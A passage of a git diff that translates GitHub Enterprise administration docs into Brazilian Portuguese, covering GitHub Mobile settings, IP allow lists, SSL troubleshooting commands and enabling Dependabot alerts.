   ghes: '*'
@@ -11,25 +11,24 @@ topics:
 redirect_from:
   - /admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise
   - /admin/configuration/managing-github-for-mobile-for-your-enterprise
-shortTitle: 'Manage GitHub Mobile'
+shortTitle: Gerenciar o GitHub Mobile
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## About {% data variables.product.prodname_mobile %}
+## Sobre o {% data variables.product.prodname_mobile %}
 
-{% data reusables.mobile.about-mobile %} For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)."
+{% data reusables.mobile.about-mobile %} Para obter mais informações, consulte "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)".
 
-Members of your enterprise can use {% data variables.product.prodname_mobile %} to triage, collaborate, and manage work on {% data variables.product.product_location %} from a mobile device. By default, {% data variables.product.prodname_mobile %} is enabled for {% data variables.product.product_location %}. You can allow or disallow enterprise members from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.product.product_location %} and access your enterprise's data.
+Os membros da sua empresa podem usar {% data variables.product.prodname_mobile %} para triar, colaborar e gerenciar o trabalho em {% data variables.product.product_location %} em um dispositivo móvel. Por padrão, {% data variables.product.prodname_mobile %} está habilitado para {% data variables.product.product_location %}. Você pode permitir ou impedir que os membros corporativos usem {% data variables.product.prodname_mobile %} para efetuar a autenticação em {% data variables.product.product_location %} e acessar os dados da sua empresa.
 
-## Enabling or disabling {% data variables.product.prodname_mobile %}
+## Habilitar ou desabilitar {% data variables.product.prodname_mobile %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.type-management-console-password %}
-1. In the left sidebar, click **Mobile**.
-  !["Mobile" in the left sidebar for the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/click-mobile.png)
-1. Under "GitHub Mobile", select or deselect **Enable GitHub Mobile Apps**.
-  ![Checkbox for "Enable GitHub Mobile Apps" in the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png)
+1. Na barra lateral esquerda, clique em **Celular**. !["Celular" na barra lateral esquerda para o console de gerenciamento de {% data variables.product.prodname_ghe_server %}](/assets/images/enterprise/management-console/click-mobile.png)
+1. Em "GitHub Mobile", selecione ou desmarque **Habilitar aplicativos do GitHub Mobile**. ![Caixa de seleção para "Habilitar os aplicativos do GitHub móvel" no console de gerenciamento de {% data variables.product.prodname_ghe_server %}](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
index f24c20e6b8..e607bca53a 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Restricting network traffic to your enterprise
-shortTitle: Restricting network traffic
-intro: You can use an IP allow list to restrict access to your enterprise to connections from specified IP addresses.
+title: Restringir o tráfego de rede para a sua empresa
+shortTitle: Restringir tráfego de rede
+intro: Você pode usar um IP permitir que a lista restrinja o acesso ao seu negócio a conexões a partir de endereços IP especificados.
 versions:
   ghae: '*'
 type: how_to
@@ -14,21 +14,22 @@ topics:
 redirect_from:
   - /admin/configuration/restricting-network-traffic-to-your-enterprise
 ---
-## About IP allow lists
 
-By default, authorized users can access your enterprise from any IP address. Enterprise owners can restrict access to assets owned by organizations in an enterprise account by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+## Sobre listas de permissões de IP
+
+Por padrão, os usuários autorizados podem acessar sua empresa a partir de qualquer endereço IP. Os proprietários de empresas podem restringir o acesso a ativos pertencentes a organizações na conta corporativa, configurando uma lista de permissão de endereços IP específicos. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
-{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
 
-You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+Você também pode configurar endereços IP permitidos para uma organização individual. Para obter mais informações, consulte "[Gerenciar endereços IP permitidos para a sua organização](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)".
 
-By default, Azure network security group (NSG) rules leave all inbound traffic open on ports 22, 80, 443, and 25. Enterprise owners can contact {% data variables.contact.github_support %} to configure access restrictions for your instance.
+Por padrão, as regras do grupo de segurança de rede do Azure (NSG) deixam todo o tráfego de entrada aberto nas portas 22, 80, 443 e 25. Proprietários de empresa podem entrar em contato com {% data variables.contact.github_support %} para configurar as restrições de acesso para sua instância.
 
-For instance-level restrictions using Azure NSGs, contact {% data variables.contact.github_support %} with the IP addresses that should be allowed to access your enterprise instance. Specify address ranges using the standard CIDR (Classless Inter-Domain Routing) format. {% data variables.contact.github_support %} will configure the appropriate firewall rules for your enterprise to restrict network access over HTTP, SSH, HTTPS, and SMTP. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+Para restrições no nível da instância que usam o Azure NSGs, entre em contato com {% data variables.contact.github_support %} com os endereços IP que devem ter permissão para acessar a sua instância corporativa. Especifica os intervalos de endereços usando o formato CIDR padrão (Encaminhamento sem Classe entre Domínios). {% data variables.contact.github_support %} irá configurar as regras de firewall apropriadas para sua empresa para restringir o acesso à rede por meio de HTTP, SSH, HTTPS e SMTP. Para obter mais informações, consulte "[Receber ajuda de {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)".
 
-## Adding an allowed IP address
+## Adicionar endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -37,20 +38,19 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## Permitindo acesso de {% data variables.product.prodname_github_apps %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
 
-## Enabling allowed IP addresses
+## Habilitar endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
-4. Click **Save**.
+1. Em "IP allow list" (Lista de permissões IP), selecione **Enable IP allow list** (Habilitar lista de permissões IP). ![Caixa de seleção para permitir endereços IP](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. Clique em **Salvar**.
 
-## Editing an allowed IP address
+## Editar endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -58,9 +58,9 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-8. Click **Update**.
+8. Clique em **Atualizar**.
 
-## Deleting an allowed IP address
+## Excluir endereços IP permitidos
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -68,6 +68,6 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## Usar {% data variables.product.prodname_actions %} com uma lista endereços IP permitidos
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
index 40a22785f7..dd7ed39354 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting SSL errors
-intro: 'If you run into SSL issues with your appliance, you can take actions to resolve them.'
+title: Solução de problemas de SSL
+intro: 'Em caso de problemas de SSL com seu appliance, veja o que você pode fazer para resolvê-los.'
 redirect_from:
   - /enterprise/admin/articles/troubleshooting-ssl-errors
   - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration
@@ -17,65 +17,66 @@ topics:
   - Networking
   - Security
   - Troubleshooting
-shortTitle: Troubleshoot SSL errors
+shortTitle: Solucionar problemas de erros SSL
 ---
-## Removing the passphrase from your key file
 
-If you have a Linux machine with OpenSSL installed, you can remove your passphrase.
+## Remover a frase secreta do arquivo de chave
 
-1. Rename your original key file.
+Se você tiver uma máquina Linux com OpenSSL instalado, será possível remover a frase secreta.
+
+1. Renomeie seu arquivo de chave original.
   ```shell
   $ mv yourdomain.key yourdomain.key.orig
   ```
-2. Generate a new key without a passphrase.
+2. Gere uma nova chave SSH sem frase secreta.
   ```shell
   $ openssl rsa -in yourdomain.key.orig -out yourdomain.key
   ```
 
-You'll be prompted for the key's passphrase when you run this command.
+A senha da chave será solicitada quando você executar esse comando.
 
-For more information about OpenSSL, see [OpenSSL's documentation](https://www.openssl.org/docs/).
+Para obter mais informações sobre o OpenSSL, consulte a [Documentação do OpenSSL](https://www.openssl.org/docs/).
 
-## Converting your SSL certificate or key into PEM format
+## Converter o certificado ou chave SSL em formato PEM
 
-If you have OpenSSL installed, you can convert your key into PEM format by using the `openssl` command. For example, you can convert a key from DER format into PEM format.
+Se você tiver o OpenSSL instalado, é possível converter sua chave em formato PEM com o comando `openssl`. Por exemplo, você pode converter uma chave do formato DER para o formato PEM.
 
 ```shell
 $ openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM
 ```
 
-Otherwise, you can use the SSL Converter tool to convert your certificate into the PEM format. For more information, see the [SSL Converter tool's documentation](https://www.sslshopper.com/ssl-converter.html).
+Se não tiver, você pode usar a ferramenta SSL Converter para converter seu certificado em formato PEM. Para obter mais informações, consulte a [documentação da ferramenta SSL Converter](https://www.sslshopper.com/ssl-converter.html).
 
-## Unresponsive installation after uploading a key
+## Instalação parada após upload de chave
 
-If {% data variables.product.product_location %} is unresponsive after uploading an SSL key, please [contact {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) with specific details, including a copy of your SSL certificate.
+Se a {% data variables.product.product_location %} parar de funcionar após o upload de uma chave SSL, [entre em contato com o suporte do {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/support) informando detalhes específicos, inclusive uma cópia do seu certificado SSL.
 
-## Certificate validity errors
+## Erros de validade de certificado
 
-Clients such as web browsers and command-line Git will display an error message if they cannot verify the validity of an SSL certificate. This often occurs with self-signed certificates as well as "chained root" certificates issued from an intermediate root certificate that is not recognized by the client.
+Se não conseguirem verificar a validade de um certificado SSL, clientes como navegadores da web e Gits de linha de comando exibirão uma mensagem de erro. Isso costuma acontecer com certificados autoassinados e certificados de "raiz encadeada" emitidos a partir de um certificado raiz intermediário não reconhecido pelo cliente.
 
-If you are using a certificate signed by a certificate authority (CA), the certificate file that you upload to {% data variables.product.prodname_ghe_server %} must include a certificate chain with that CA's root certificate. To create such a file, concatenate your entire certificate chain (or "certificate bundle") onto the end of your certificate, ensuring that the principal certificate with your hostname comes first. On most systems you can do this with a command similar to:
+Se você estiver usando um certificado assinado por uma autoridade de certificação (CA), o arquivo de certificado que você carregar no {% data variables.product.prodname_ghe_server %} deverá incluir uma cadeia de certificados com o certificado raiz da autoridade certificada em questão. Para criar esse arquivo, concatene toda a sua cadeia de certificados (ou "pacote de certificados") até o fim, garantindo que o certificado principal com o nome de host seja o primeiro. Na maioria dos sistemas, fazer isso é possível com um comando semelhante ao seguinte:
 
 ```shell
 $ cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt
 ```
 
-You should be able to download a certificate bundle (for example, `bundle-certificates.crt`) from your certificate authority or SSL vendor.
+Você deve poder baixar um pacote de certificados (por exemplo, `bundle-certificates.crt`) da sua autoridade certificada ou do fornecedor de SSL.
 
-## Installing self-signed or untrusted certificate authority (CA) root certificates
+## Instalar certificados raiz de autoridade de certificação (CA) autoassinada ou não confiável
 
-If your {% data variables.product.prodname_ghe_server %} appliance interacts with other machines on your network that use a self-signed or untrusted certificate, you will need to import the signing CA's root certificate into the system-wide certificate store in order to access those systems over HTTPS.
+Se o seu appliance do {% data variables.product.prodname_ghe_server %} interage na rede com outras máquinas que usam certificados autoassinados ou não confiáveis, será necessário importar o certificado raiz da CA de assinatura para o armazenamento geral do sistema a fim de acessar esses sistemas por HTTPS.
 
-1. Obtain the CA's root certificate from your local certificate authority and ensure it is in PEM format.
-2. Copy the file to your {% data variables.product.prodname_ghe_server %} appliance over SSH as the "admin" user on port 122.
+1. Obtenha o certificado raiz da autoridade de certificação local e verifique se ele está no formato PEM.
+2. Copie o arquivo para o seu appliance do {% data variables.product.prodname_ghe_server %} via SSH como usuário "admin" na porta 122.
   ```shell
   $ scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin
   ```
-3. Connect to the {% data variables.product.prodname_ghe_server %} administrative shell over SSH as the "admin" user on port 122.
+3. Conecte-se ao shell administrativo do {% data variables.product.prodname_ghe_server %} via SSH como usuário "admin" na porta 122.
   ```shell
   $ ssh -p 122 admin@HOSTNAME
   ```
-4. Import the certificate into the system-wide certificate store.
+4. Importe o certificado no armazenamento geral do sistema.
   ```shell
   $ ghe-ssl-ca-certificate-install -c rootCA.crt
   ```
diff --git a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
index 27ad1a6dcc..b385f1dd0c 100644
--- a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
+++ b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
@@ -1,7 +1,8 @@
 ---
-title: Enabling the dependency graph and Dependabot alerts on your enterprise account
-intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and  {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.'
-shortTitle: Enable dependency analysis
+title: Habilitando o gráfico de dependências e os alertas de dependências na sua conta corporativa
+intro: 'Você pode conectar {% data variables.product.product_location %} a {% data variables.product.prodname_ghe_cloud %} e habilitar o gráfico de dependências e  {% data variables.product.prodname_dependabot_alerts %} nos repositórios da sua instância.'
+miniTocMaxHeadingLevel: 3
+shortTitle: Habilitar a análise de dependências
 redirect_from:
   - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
   - /enterprise/admin/configuration/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
@@ -20,58 +21,63 @@ topics:
   - Dependency graph
   - Dependabot
 ---
-## About alerts for vulnerable dependencies on {% data variables.product.product_location %}
+
+## Sobre alertas para dependências vulneráveis no {% data variables.product.product_location %}
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-{% data variables.product.prodname_dotcom %} identifies vulnerable dependencies in repositories and creates {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.product_location %}, using:
+{% data variables.product.prodname_dotcom %} identifica dependências vulneráveis nos repositórios e cria {% data variables.product.prodname_dependabot_alerts %} em {% data variables.product.product_location %}, usando:
 
-- Data from the {% data variables.product.prodname_advisory_database %}
-- The dependency graph service
+- Dados do {% data variables.product.prodname_advisory_database %}
+- O serviço gráfico de dependências
 
-For more information about these features, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" and "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+Para obter mais informações sobre essas funcionalidades, consulte "[Sobre o gráfico de dependências](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" e "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)".
 
-### About synchronization of data from the {% data variables.product.prodname_advisory_database %}
+### Sobre a sincronização de dados de {% data variables.product.prodname_advisory_database %}
 
-{% data reusables.repositories.tracks-vulnerabilities %} 
+{% data reusables.repositories.tracks-vulnerabilities %}
 
-You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}.
+Você pode conectar-se {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %} com {% data variables.product.prodname_github_connect %}. Uma vez conectados, os dados de vulnerabilidade são sincronizados de {% data variables.product.prodname_advisory_database %} para sua instância uma vez a cada hora. Também é possível sincronizar os dados de vulnerabilidade manualmente a qualquer momento. Nenhum código ou informações sobre o código da {% data variables.product.product_location %} são carregados para o {% data variables.product.prodname_dotcom_the_website %}.
 
-Only {% data variables.product.company_short %}-reviewed advisories are synchronized. {% data reusables.security-advisory.link-browsing-advisory-db %}
+Apenas as consultorias revisadas por {% data variables.product.company_short %} estão sincronizados. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
-### About generation of {% data variables.product.prodname_dependabot_alerts %}
+### Sobre a digitalização de repositórios com dados sincronizados do {% data variables.product.prodname_advisory_database %}
 
-If you enable vulnerability detection, when {% data variables.product.product_location %} receives information about a vulnerability, it identifies repositories in your instance that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}.
+Para repositórios com {% data variables.product.prodname_dependabot_alerts %} habilitado, a digitalização é acionada em qualquer push para o branch padrão que contém um arquivo de manifesto ou arquivo de bloqueio. Além disso, quando um novo registro de vulnerabilidade é adicionado à instância, {% data variables.product.prodname_ghe_server %} irá digitalizar todos os repositórios existentes nessa instância e gerará alertas para qualquer repositório que seja vulnerável. Para obter mais informações, consulte "[Detecção de dependências vulneráveis](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)".
 
-## Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies on {% data variables.product.product_location %}
 
-### Prerequisites
+### Sobre a geração de {% data variables.product.prodname_dependabot_alerts %}
 
-For {% data variables.product.product_location %} to detect vulnerable dependencies and generate {% data variables.product.prodname_dependabot_alerts %}:
-- You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %}
-{% ifversion ghes %}- You must enable the dependency graph service.{% endif %}
-- You must enable vulnerability scanning.
+Se você habilitar a detecção de vulnerabilidade, quando {% data variables.product.product_location %} recebe informações sobre uma vulnerabilidade, ela irá identificar os repositórios na sua instância que usam a versão afetada da dependência e irá gerar {% data variables.product.prodname_dependabot_alerts %}. Você pode escolher se quer ou não notificar os usuários automaticamente sobre o novo {% data variables.product.prodname_dependabot_alerts %}.
+
+## Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} para dependências vulneráveis em {% data variables.product.product_location %}
+
+### Pré-requisitos
+
+Para {% data variables.product.product_location %} detectar dependências vulneráveis e gerar {% data variables.product.prodname_dependabot_alerts %}:
+- Você deve conectar {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}Isso também habilita o serviço do gráfico de dependências. {% endif %}{% ifversion ghes or ghae %}Para obter mais informações, consulte "[Conectando a conta corporativa ao {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)".{% endif %}
+{% ifversion ghes %}- Você deve habilitar o serviço do gráfico de dependências.{% endif %}
+- Você deve habilitar a digitalização de vulnerabilidade.
 
 {% ifversion ghes %}
 {% ifversion ghes > 3.1 %}
-You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. 
+Você pode habilitar o gráfico de dependências por meio do {% data variables.enterprise.management_console %} ou do shell administrativo. Recomendamos que você siga o encaminhamento de {% data variables.enterprise.management_console %} a menos que {% data variables.product.product_location %} use clustering.
 
-### Enabling the dependency graph via the {% data variables.enterprise.management_console %}
+### Habilitando o gráfico de dependências por meio do {% data variables.enterprise.management_console %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}
-1. Under "Security," click **Dependency graph**.
-![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png)
+1. Em "Segurança", clique em **Gráfico de dependência**. ![Caixa de seleção para habilitar ou desabilitar o gráfico de dependências](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
-1. Click **Visit your instance**.
+1. Clique **Visit your instance** (Visite sua instância).
 
-### Enabling the dependency graph via the administrative shell
+### Habilitando o gráfico de dependências por meio do shell administrativo
 {% endif %}{% ifversion ghes < 3.2 %}
-### Enabling the dependency graph
+### Habilitar o gráfico de dependências
 {% endif %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
-1. In the administrative shell, enable the dependency graph on {% data variables.product.product_location %}:
+1. No shell administrativo, habilite o gráfico de dependências em {% data variables.product.product_location %}:
     {% ifversion ghes > 3.1 %}```shell
     ghe-config app.dependency-graph.enabled true
     ```
@@ -84,41 +90,38 @@ You can enable the dependency graph via the {% data variables.enterprise.managem
    **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)."
 
    {% endnote %}
-2. Apply the configuration.
+2. Aplique a configuração.
     ```shell
     $ ghe-config-apply
     ```
-3. Return to {% data variables.product.prodname_ghe_server %}.
+3. Volte para o {% data variables.product.prodname_ghe_server %}.
 {% endif %}
 
-### Enabling {% data variables.product.prodname_dependabot_alerts %}
+### Habilitar o {% data variables.product.prodname_dependabot_alerts %}
 
 {% ifversion ghes %}
-Before enabling {% data variables.product.prodname_dependabot_alerts %} for your instance, you need to enable the dependency graph. For more information, see above.
+Antes de habilitar {% data variables.product.prodname_dependabot_alerts %} para sua instância, você deverá habilitar o gráfico de dependências. Para obter mais informações, consulte acima.
 {% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {%- ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}
 {% data reusables.enterprise-accounts.github-connect-tab %}
-1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**.
-   ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
+1. Em "Repositórios podem ser digitalizados com relação a vulnerabilidades", selecione o menu suspenso e clique em **Habilitado sem notificações**. Opcionalmente, para habilitar alertas com notificações, clique em **Habilitado com as notificações**. ![Menu suspenso para habilitar a verificação vulnerabilidades nos repositórios](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
 
    {% tip %}
-   
-   **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual.
+
+   **Dica**: Recomendamos configurar {% data variables.product.prodname_dependabot_alerts %} sem notificações para os primeiros dias para evitar uma sobrecarga de e-mails. Após alguns dias, você poderá habilitar as notificações para receber {% data variables.product.prodname_dependabot_alerts %}, como de costume.
 
    {% endtip %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
+Ao habilitar {% data variables.product.prodname_dependabot_alerts %}, você também deve considerar configurar {% data variables.product.prodname_actions %} para {% data variables.product.prodname_dependabot_security_updates %}. Este recurso permite aos desenvolvedores corrigir a vulnerabilidades nas suas dependências. Para obter mais informações, consulte "[Configurando a segurança de {% data variables.product.prodname_dependabot %} e as atualizações de versão na sua empresa](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)".
 {% endif %}
 
-## Viewing vulnerable dependencies on {% data variables.product.product_location %}
+## Exibir dependências vulneráveis no {% data variables.product.product_location %}
 
-You can view all vulnerabilities in {% data variables.product.product_location %} and manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list.
+Você pode exibir todas as vulnerabilidades na {% data variables.product.product_location %} e sincronizar manualmente os dados de vulnerabilidade do {% data variables.product.prodname_dotcom_the_website %} para atualizar a lista.
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. In the left sidebar, click **Vulnerabilities**.
-  ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png)
-3. To sync vulnerability data, click **Sync Vulnerabilities now**.
-  ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png)
+2. Na barra lateral esquerda, clique em **Vulnerabilities** (Vulnerabilidades). ![Guia Vulnerabilities (Vulnerabilidades) na barra lateral de administração do site](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png)
+3. Para sincronizar os dados de vulnerabilidade, clique em **Sync Vulnerabilities now** (Sincronizar vulnerabilidades agora). ![Botão Sync Vulnerabilities now (Sincronizar vulnerabilidades agora)](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png)
diff --git a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md
index f46553f059..997b8b9dda 100644
--- a/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md
+++ b/translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing connections between your enterprise accounts
-intro: 'With {% data variables.product.prodname_github_connect %}, you can share certain features and data between {% data variables.product.product_location %} and your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %}.'
+title: Gerenciando conexões entre as suas corporativas
+intro: 'Com o {% data variables.product.prodname_github_connect %}, você pode compartilhar determinados recursos entre a {% data variables.product.product_location %} e a sua conta corporativa ou de organização do {% data variables.product.prodname_ghe_cloud %} no {% data variables.product.prodname_dotcom_the_website %}.'
 redirect_from:
   - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com
   - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com
@@ -21,6 +21,6 @@ children:
   - /enabling-unified-contributions-between-your-enterprise-account-and-githubcom
   - /enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account
   - /enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud
-shortTitle: Connect enterprise accounts
+shortTitle: Conectar as contas corporativas
 ---
 
diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/about-clustering.md b/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/about-clustering.md
index 77aa3f9b25..7c84589ebe 100644
--- a/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/about-clustering.md
+++ b/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/about-clustering.md
@@ -1,6 +1,6 @@
 ---
-title: About clustering
-intro: '{% data variables.product.prodname_ghe_server %} clustering allows services that make up {% data variables.product.prodname_ghe_server %} to be scaled out across multiple nodes.'
+title: Sobre clustering
